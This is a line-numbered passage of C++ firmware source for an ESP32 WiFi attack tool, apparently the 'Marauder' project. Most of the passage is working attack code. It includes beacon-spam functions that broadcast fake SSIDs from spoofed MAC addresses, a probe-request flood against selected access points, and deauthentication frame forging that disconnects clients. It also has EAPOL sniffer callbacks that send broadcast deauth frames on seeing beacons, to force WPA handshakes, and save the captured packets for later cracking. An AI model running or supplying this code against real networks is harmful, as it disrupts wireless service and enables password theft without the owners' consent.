  2035. int numSpace = ssidLen - realLen;
  2036. //int rand_len = sizeof(rand_reg);
  2037. int fullLen = ssidLen;
  2038. packet[37] = fullLen;
  2039. // Insert my tag
  2040. for(int i = 0; i < realLen; i++)
  2041. packet[38 + i] = ESSID[i];
  2042. for(int i = 0; i < numSpace; i++)
  2043. packet[38 + realLen + i] = 0x20;
  2044. /////////////////////////////
  2045. packet[50 + fullLen] = set_channel;
  2046. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2047. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2048. // Add everything that goes after the SSID
  2049. //for(int i = 0; i < 12; i++)
  2050. // packet[38 + fullLen + i] = postSSID[i];
  2051. packet[34] = custom_ssid.beacon->get(0);
  2052. packet[35] = custom_ssid.beacon->get(1);
  2053. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2054. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2055. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2056. packets_sent = packets_sent + 3;
  2057. }
  2058. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  2059. set_channel = random(1,12);
  2060. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2061. delay(1);
  2062. // Randomize SRC MAC
  2063. packet[10] = packet[16] = custom_ssid.bssid[0];
  2064. packet[11] = packet[17] = custom_ssid.bssid[1];
  2065. packet[12] = packet[18] = custom_ssid.bssid[2];
  2066. packet[13] = packet[19] = custom_ssid.bssid[3];
  2067. packet[14] = packet[20] = custom_ssid.bssid[4];
  2068. packet[15] = packet[21] = custom_ssid.bssid[5];
  2069. char ESSID[custom_ssid.essid.length() + 1] = {};
  2070. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2071. int ssidLen = strlen(ESSID);
  2072. //int rand_len = sizeof(rand_reg);
  2073. int fullLen = ssidLen;
  2074. packet[37] = fullLen;
  2075. // Insert my tag
  2076. for(int i = 0; i < ssidLen; i++)
  2077. packet[38 + i] = ESSID[i];
  2078. /////////////////////////////
  2079. packet[50 + fullLen] = set_channel;
  2080. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2081. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2082. // Add everything that goes after the SSID
  2083. for(int i = 0; i < 12; i++)
  2084. packet[38 + fullLen + i] = postSSID[i];
  2085. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2086. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2087. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2088. packets_sent = packets_sent + 3;
  2089. }
  2090. // Function to send beacons with random ESSID length
  2091. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  2092. set_channel = random(1,12);
  2093. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2094. delay(1);
  2095. // Randomize SRC MAC
  2096. packet[10] = packet[16] = random(256);
  2097. packet[11] = packet[17] = random(256);
  2098. packet[12] = packet[18] = random(256);
  2099. packet[13] = packet[19] = random(256);
  2100. packet[14] = packet[20] = random(256);
  2101. packet[15] = packet[21] = random(256);
  2102. int ssidLen = strlen(ESSID);
  2103. //int rand_len = sizeof(rand_reg);
  2104. int fullLen = ssidLen;
  2105. packet[37] = fullLen;
  2106. // Insert my tag
  2107. for(int i = 0; i < ssidLen; i++)
  2108. packet[38 + i] = ESSID[i];
  2109. /////////////////////////////
  2110. packet[50 + fullLen] = set_channel;
  2111. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2112. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2113. // Add everything that goes after the SSID
  2114. for(int i = 0; i < 12; i++)
  2115. packet[38 + fullLen + i] = postSSID[i];
  2116. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2117. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2118. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2119. packets_sent = packets_sent + 3;
  2120. }
  2121. // Function for sending crafted beacon frames
  2122. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  2123. set_channel = random(1,12);
  2124. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2125. delay(1);
  2126. // Randomize SRC MAC
  2127. packet[10] = packet[16] = random(256);
  2128. packet[11] = packet[17] = random(256);
  2129. packet[12] = packet[18] = random(256);
  2130. packet[13] = packet[19] = random(256);
  2131. packet[14] = packet[20] = random(256);
  2132. packet[15] = packet[21] = random(256);
  2133. packet[37] = 6;
  2134. // Randomize SSID (Fixed size 6. Lazy right?)
  2135. packet[38] = alfa[random(65)];
  2136. packet[39] = alfa[random(65)];
  2137. packet[40] = alfa[random(65)];
  2138. packet[41] = alfa[random(65)];
  2139. packet[42] = alfa[random(65)];
  2140. packet[43] = alfa[random(65)];
  2141. packet[56] = set_channel;
  2142. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2143. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2144. // Add everything that goes after the SSID
  2145. for(int i = 0; i < 12; i++)
  2146. packet[38 + 6 + i] = postSSID[i];
  2147. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2148. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  2149. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  2150. packets_sent = packets_sent + 3;
  2151. }
  2152. // Function to send probe flood to all "active" access points
  2153. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  2154. // Itterate through all access points in list
  2155. for (int i = 0; i < access_points->size(); i++) {
  2156. // Check if active
  2157. if (access_points->get(i).selected) {
  2158. this->set_channel = access_points->get(i).channel;
  2159. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2160. delay(1);
  2161. // Build packet
  2162. // Randomize SRC MAC
  2163. prob_req_packet[10] = random(256);
  2164. prob_req_packet[11] = random(256);
  2165. prob_req_packet[12] = random(256);
  2166. prob_req_packet[13] = random(256);
  2167. prob_req_packet[14] = random(256);
  2168. prob_req_packet[15] = random(256);
  2169. // Set SSID length
  2170. int ssidLen = access_points->get(i).essid.length();
  2171. //int rand_len = sizeof(rand_reg);
  2172. int fullLen = ssidLen;
  2173. prob_req_packet[25] = fullLen;
  2174. // Insert ESSID
  2175. char buf[access_points->get(i).essid.length() + 1] = {};
  2176. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  2177. for(int i = 0; i < ssidLen; i++)
  2178. prob_req_packet[26 + i] = buf[i];
  2179. /*
  2180. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  2181. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  2182. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  2183. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  2184. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  2185. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2186. 0x00, 0x00
  2187. */
  2188. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  2189. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  2190. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  2191. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  2192. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  2193. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2194. 0x00, 0x00, 0x00, 0x00};
  2195. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  2196. for (int i = 0; i < 26 + fullLen; i++)
  2197. good_probe_req_packet[i] = prob_req_packet[i];
  2198. for(int i = 0; i < 40; i++)
  2199. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  2200. // Send packet
  2201. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2202. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2203. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2204. packets_sent = packets_sent + 3;
  2205. }
  2206. }
  2207. }
  2208. void WiFiScan::sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]) {
  2209. WiFiScan::set_channel = channel;
  2210. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  2211. delay(1);
  2212. // Build AP source packet
  2213. deauth_frame_default[4] = mac[0];
  2214. deauth_frame_default[5] = mac[1];
  2215. deauth_frame_default[6] = mac[2];
  2216. deauth_frame_default[7] = mac[3];
  2217. deauth_frame_default[8] = mac[4];
  2218. deauth_frame_default[9] = mac[5];
  2219. deauth_frame_default[10] = bssid[0];
  2220. deauth_frame_default[11] = bssid[1];
  2221. deauth_frame_default[12] = bssid[2];
  2222. deauth_frame_default[13] = bssid[3];
  2223. deauth_frame_default[14] = bssid[4];
  2224. deauth_frame_default[15] = bssid[5];
  2225. deauth_frame_default[16] = bssid[0];
  2226. deauth_frame_default[17] = bssid[1];
  2227. deauth_frame_default[18] = bssid[2];
  2228. deauth_frame_default[19] = bssid[3];
  2229. deauth_frame_default[20] = bssid[4];
  2230. deauth_frame_default[21] = bssid[5];
  2231. // Send packet
  2232. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2233. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2234. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2235. packets_sent = packets_sent + 3;
  2236. // Build AP dest packet
  2237. deauth_frame_default[4] = bssid[0];
  2238. deauth_frame_default[5] = bssid[1];
  2239. deauth_frame_default[6] = bssid[2];
  2240. deauth_frame_default[7] = bssid[3];
  2241. deauth_frame_default[8] = bssid[4];
  2242. deauth_frame_default[9] = bssid[5];
  2243. deauth_frame_default[10] = mac[0];
  2244. deauth_frame_default[11] = mac[1];
  2245. deauth_frame_default[12] = mac[2];
  2246. deauth_frame_default[13] = mac[3];
  2247. deauth_frame_default[14] = mac[4];
  2248. deauth_frame_default[15] = mac[5];
  2249. deauth_frame_default[16] = mac[0];
  2250. deauth_frame_default[17] = mac[1];
  2251. deauth_frame_default[18] = mac[2];
  2252. deauth_frame_default[19] = mac[3];
  2253. deauth_frame_default[20] = mac[4];
  2254. deauth_frame_default[21] = mac[5];
  2255. // Send packet
  2256. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2257. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2258. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2259. packets_sent = packets_sent + 3;
  2260. }
  2261. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
  2262. // Itterate through all access points in list
  2263. // Check if active
  2264. WiFiScan::set_channel = channel;
  2265. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  2266. delay(1);
  2267. // Build packet
  2268. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2269. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2270. deauth_frame_default[10] = bssid[0];
  2271. deauth_frame_default[11] = bssid[1];
  2272. deauth_frame_default[12] = bssid[2];
  2273. deauth_frame_default[13] = bssid[3];
  2274. deauth_frame_default[14] = bssid[4];
  2275. deauth_frame_default[15] = bssid[5];
  2276. deauth_frame_default[16] = bssid[0];
  2277. deauth_frame_default[17] = bssid[1];
  2278. deauth_frame_default[18] = bssid[2];
  2279. deauth_frame_default[19] = bssid[3];
  2280. deauth_frame_default[20] = bssid[4];
  2281. deauth_frame_default[21] = bssid[5];
  2282. // Send packet
  2283. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2284. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2285. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2286. packets_sent = packets_sent + 3;
  2287. }
  2288. void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
  2289. // Itterate through all access points in list
  2290. for (int i = 0; i < access_points->size(); i++) {
  2291. // Check if active
  2292. if (access_points->get(i).selected) {
  2293. this->set_channel = access_points->get(i).channel;
  2294. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2295. delay(1);
  2296. // Build packet
  2297. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2298. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2299. deauth_frame_default[10] = access_points->get(i).bssid[0];
  2300. deauth_frame_default[11] = access_points->get(i).bssid[1];
  2301. deauth_frame_default[12] = access_points->get(i).bssid[2];
  2302. deauth_frame_default[13] = access_points->get(i).bssid[3];
  2303. deauth_frame_default[14] = access_points->get(i).bssid[4];
  2304. deauth_frame_default[15] = access_points->get(i).bssid[5];
  2305. deauth_frame_default[16] = access_points->get(i).bssid[0];
  2306. deauth_frame_default[17] = access_points->get(i).bssid[1];
  2307. deauth_frame_default[18] = access_points->get(i).bssid[2];
  2308. deauth_frame_default[19] = access_points->get(i).bssid[3];
  2309. deauth_frame_default[20] = access_points->get(i).bssid[4];
  2310. deauth_frame_default[21] = access_points->get(i).bssid[5];
  2311. // Send packet
  2312. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2313. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2314. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2315. packets_sent = packets_sent + 3;
  2316. }
  2317. }
  2318. }
  2319. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2320. {
  2321. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2322. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2323. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2324. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2325. int len = snifferPacket->rx_ctrl.sig_len;
  2326. String display_string = "";
  2327. #ifdef HAS_SCREEN
  2328. int buff = display_obj.display_buffer->size();
  2329. #else
  2330. int buff = 0;
  2331. #endif
  2332. if (type == WIFI_PKT_MGMT)
  2333. {
  2334. len -= 4;
  2335. int fctl = ntohs(frameControl->fctl);
  2336. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2337. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2338. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  2339. #ifndef MARAUDER_MINI
  2340. if (snifferPacket->payload[0] == 0x80)
  2341. {
  2342. num_beacon++;
  2343. }
  2344. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  2345. {
  2346. num_deauth++;
  2347. }
  2348. else if (snifferPacket->payload[0] == 0x40)
  2349. {
  2350. num_probe++;
  2351. }
  2352. #endif
  2353. char addr[] = "00:00:00:00:00:00";
  2354. getMAC(addr, snifferPacket->payload, 10);
  2355. display_string.concat(addr);
  2356. int temp_len = display_string.length();
  2357. #ifdef HAS_SCREEN
  2358. for (int i = 0; i < 40 - temp_len; i++)
  2359. {
  2360. display_string.concat(" ");
  2361. }
  2362. //Serial.print(" ");
  2363. #ifdef MARAUDER_MINI
  2364. if (display_obj.display_buffer->size() == 0)
  2365. {
  2366. display_obj.loading = true;
  2367. display_obj.display_buffer->add(display_string);
  2368. display_obj.loading = false;
  2369. }
  2370. #endif
  2371. #endif
  2372. if (save_packet)
  2373. sd_obj.addPacket(snifferPacket->payload, len);
  2374. }
  2375. }
  2376. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2377. {
  2378. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2379. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2380. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2381. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2382. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2383. int len = snifferPacket->rx_ctrl.sig_len;
  2384. String display_string = "";
  2385. if (type == WIFI_PKT_MGMT)
  2386. {
  2387. len -= 4;
  2388. int fctl = ntohs(frameControl->fctl);
  2389. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2390. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2391. }
  2392. #ifdef HAS_SCREEN
  2393. int buff = display_obj.display_buffer->size();
  2394. #else
  2395. int buff = 0;
  2396. #endif
  2397. // Found beacon frame. Decide whether to deauth
  2398. if (send_deauth) {
  2399. if (snifferPacket->payload[0] == 0x80) {
  2400. // Build packet
  2401. uint8_t new_packet[26] = {
  2402. 0xc0, 0x00, 0x3a, 0x01,
  2403. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2404. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2405. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2406. 0xf0, 0xff, 0x02, 0x00
  2407. };
  2408. new_packet[10] = snifferPacket->payload[10];
  2409. new_packet[11] = snifferPacket->payload[11];
  2410. new_packet[12] = snifferPacket->payload[12];
  2411. new_packet[13] = snifferPacket->payload[13];
  2412. new_packet[14] = snifferPacket->payload[14];
  2413. new_packet[15] = snifferPacket->payload[15];
  2414. new_packet[16] = snifferPacket->payload[10];
  2415. new_packet[17] = snifferPacket->payload[11];
  2416. new_packet[18] = snifferPacket->payload[12];
  2417. new_packet[19] = snifferPacket->payload[13];
  2418. new_packet[20] = snifferPacket->payload[14];
  2419. new_packet[21] = snifferPacket->payload[15];
  2420. // Send packet
  2421. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2422. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2423. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2424. delay(1);
  2425. }
  2426. }
  2427. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2428. num_eapol++;
  2429. Serial.println("Received EAPOL:");
  2430. char addr[] = "00:00:00:00:00:00";
  2431. getMAC(addr, snifferPacket->payload, 10);
  2432. display_string.concat(addr);
  2433. int temp_len = display_string.length();
  2434. #ifdef HAS_SCREEN
  2435. for (int i = 0; i < 40 - temp_len; i++)
  2436. {
  2437. display_string.concat(" ");
  2438. }
  2439. Serial.print(" ");
  2440. #ifdef MARAUDER_MINI
  2441. if (display_obj.display_buffer->size() == 0)
  2442. {
  2443. display_obj.loading = true;
  2444. display_obj.display_buffer->add(display_string);
  2445. display_obj.loading = false;
  2446. }
  2447. #endif
  2448. #endif
  2449. // for (int i = 0; i < len; i++) {
  2450. // char hexCar[4];
  2451. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2452. // Serial.print(hexCar);
  2453. //Serial.print(snifferPacket->payload[i], HEX);
  2454. // if ((i + 1) % 16 == 0)
  2455. // Serial.print("\n");
  2456. // else
  2457. // Serial.print(" ");
  2458. // }
  2459. // Serial.print("\n");
  2460. }
  2461. if (save_packet)
  2462. sd_obj.addPacket(snifferPacket->payload, len);
  2463. }
  2464. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2465. {
  2466. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2467. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2468. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2469. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2470. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2471. int len = snifferPacket->rx_ctrl.sig_len;
  2472. if (type == WIFI_PKT_MGMT)
  2473. {
  2474. len -= 4;
  2475. int fctl = ntohs(frameControl->fctl);
  2476. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2477. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2478. }
  2479. // Found beacon frame. Decide whether to deauth
  2480. if (snifferPacket->payload[0] == 0x80) {
  2481. // Build packet
  2482. //Serial.println("Recieved beacon frame");
  2483. uint8_t new_packet[26] = {
  2484. 0xc0, 0x00, 0x3a, 0x01,
  2485. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2486. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2487. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2488. 0xf0, 0xff, 0x02, 0x00
  2489. };
  2490. new_packet[10] = snifferPacket->payload[10];
  2491. new_packet[11] = snifferPacket->payload[11];
  2492. new_packet[12] = snifferPacket->payload[12];
  2493. new_packet[13] = snifferPacket->payload[13];
  2494. new_packet[14] = snifferPacket->payload[14];
  2495. new_packet[15] = snifferPacket->payload[15];
  2496. new_packet[16] = snifferPacket->payload[10];
  2497. new_packet[17] = snifferPacket->payload[11];
  2498. new_packet[18] = snifferPacket->payload[12];
  2499. new_packet[19] = snifferPacket->payload[13];
  2500. new_packet[20] = snifferPacket->payload[14];
  2501. new_packet[21] = snifferPacket->payload[15];
  2502. // Send packet
  2503. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2504. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2505. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2506. delay(1);
  2507. }
  2508. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2509. num_eapol++;
  2510. Serial.println("Received EAPOL:");
  2511. // for (int i = 0; i < len; i++) {
  2512. // char hexCar[3];
  2513. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2514. // Serial.print(hexCar);
  2515. //Serial.print(snifferPacket->payload[i], HEX);
  2516. // if ((i + 1) % 16 == 0)
  2517. // Serial.print("\n");
  2518. // else
  2519. // Serial.print(" ");
  2520. // }
  2521. // Serial.print("\n");
  2522. }
  2523. if (save_packet)
  2524. sd_obj.addPacket(snifferPacket->payload, len);
  2525. }
  2526. #ifdef HAS_SCREEN
  2527. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2528. {
  2529. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2530. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2531. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2532. {
  2533. currentTime = millis();
  2534. do_break = false;
  2535. y_pos_x = 0;
  2536. y_pos_y = 0;
  2537. y_pos_z = 0;
  2538. boolean pressed = false;
  2539. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2540. // Do the touch stuff
  2541. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2542. if (pressed) {
  2543. Serial.print("Got touch | X: ");
  2544. Serial.print(t_x);
  2545. Serial.print(" Y: ");
  2546. Serial.println(t_y);
  2547. }
  2548. // Check buttons for presses
  2549. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2550. {
  2551. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2552. {
  2553. display_obj.key[b].press(true);
  2554. } else {
  2555. display_obj.key[b].press(false);
  2556. }
  2557. }
  2558. // Which buttons pressed
  2559. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2560. {
  2561. if (display_obj.key[b].justPressed())
  2562. {
  2563. Serial.println("Bro, key pressed");
  2564. //do_break = true;
  2565. }
  2566. if (display_obj.key[b].justReleased())
  2567. {
  2568. do_break = true;
  2569. // Channel - button pressed
  2570. if (b == 4) {
  2571. if (set_channel > 1) {
  2572. Serial.println("Shit channel down");
  2573. set_channel--;
  2574. delay(70);
  2575. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2576. //display_obj.tftDrawXScaleButtons(x_scale);
  2577. //display_obj.tftDrawYScaleButtons(y_scale);
  2578. display_obj.tftDrawChannelScaleButtons(set_channel);
  2579. display_obj.tftDrawExitScaleButtons();
  2580. changeChannel();
  2581. break;
  2582. }
  2583. }
  2584. // Channel + button pressed
  2585. else if (b == 5) {
  2586. if (set_channel < MAX_CHANNEL) {
  2587. Serial.println("Shit channel up");
  2588. set_channel++;
  2589. delay(70);
  2590. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2591. //display_obj.tftDrawXScaleButtons(x_scale);
  2592. //display_obj.tftDrawYScaleButtons(y_scale);
  2593. display_obj.tftDrawChannelScaleButtons(set_channel);
  2594. display_obj.tftDrawExitScaleButtons();
  2595. changeChannel();
  2596. break;
  2597. }
  2598. }
  2599. else if (b == 6) {
  2600. Serial.println("Exiting packet monitor...");
  2601. this->StartScan(WIFI_SCAN_OFF);
  2602. //display_obj.tft.init();
  2603. this->orient_display = true;
  2604. return;
  2605. }
  2606. }
  2607. }
  2608. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2609. //Serial.println("-----------------------------------------");
  2610. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2611. x_pos += x_scale;
  2612. initTime = millis();
  2613. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2614. if (y_pos_x >= HEIGHT_1) {
  2615. Serial.println("Max EAPOL number reached. Adjusting...");
  2616. num_eapol = 0;
  2617. }
  2618. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2619. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2620. //Serial.println("num_beacon: " + (String)num_beacon);
  2621. //Serial.println("num_deauth: " + (String)num_deauth);
  2622. //Serial.println(" num_probe: " + (String)num_probe);
  2623. //num_beacon = 0;
  2624. //num_probe = 0;
  2625. //num_deauth = 0;
  2626. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2627. //Plot "X" value
  2628. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2629. //Plot "Z" value
  2630. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2631. //Plot "Y" value
  2632. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2633. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2634. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2635. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2636. {
  2637. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2638. }
  2639. else
  2640. {
  2641. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2642. }
  2643. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2644. //if (x_pos <= 90)
  2645. if (x_pos < 0) // below x axis
  2646. {
  2647. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2648. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2649. }
  2650. else
  2651. {
  2652. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2653. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2654. }
  2655. //tftDisplayTime();
  2656. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2657. {
  2658. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2659. }
